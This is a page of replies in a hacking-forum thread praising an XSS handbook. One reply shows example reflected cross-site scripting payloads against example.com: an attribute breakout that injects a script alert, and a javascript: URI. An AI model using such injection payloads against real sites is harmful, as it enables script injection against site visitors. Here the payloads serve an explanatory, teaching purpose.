RE: RaccoonCity's XSS Handbook 08-11-2014, 04:24 AM
#21
Awesome, very good and noob friendly (it helps me).
Lots of information
Lots of information
The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.
| RaccoonCity's XSS Handbook filter_list | |
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
RE: RaccoonCity's XSS Handbook 08-12-2014, 03:50 AM
#22
Awesome thread like always @'RaccoonCity' .Great handbook, I would like to see more like these in the future!
RE: RaccoonCity's XSS Handbook 08-12-2014, 02:02 PM
#23
@'RaccoonCity'
What the? Where do I even start?
What a great thread.......
What the? Where do I even start?
What a great thread.......
RE: RaccoonCity's XSS Handbook 08-12-2014, 08:19 PM
#24
This was great! Great tutorial, great examples, great everything. Most people forget about explaining how one should try to modify any existing string that you can as well as completing html... like
URL: example.com/index.php?next_page=2.php
<a href="2.php">Next</a>
XSS: example.com/index.php?next_page=">.</a><script>alert('xss');</script><!--
<a href="">.</a><script>alert('xss');</script><!-- ">Next</a>
Of course you could always just
XSS: example.com/index.php?next_page=javascript: alert('xss');
I think this should be a pinned thread IMO
URL: example.com/index.php?next_page=2.php
<a href="2.php">Next</a>
XSS: example.com/index.php?next_page=">.</a><script>alert('xss');</script><!--
<a href="">.</a><script>alert('xss');</script><!-- ">Next</a>
Of course you could always just
XSS: example.com/index.php?next_page=javascript: alert('xss');
I think this should be a pinned thread IMO
![[Image: iQ3pcQu.png]](http://i.imgur.com/iQ3pcQu.png)
BTC Address: 1DCKgDaWcmc9dxBkhe9qrTQtrQpoFUzXdn
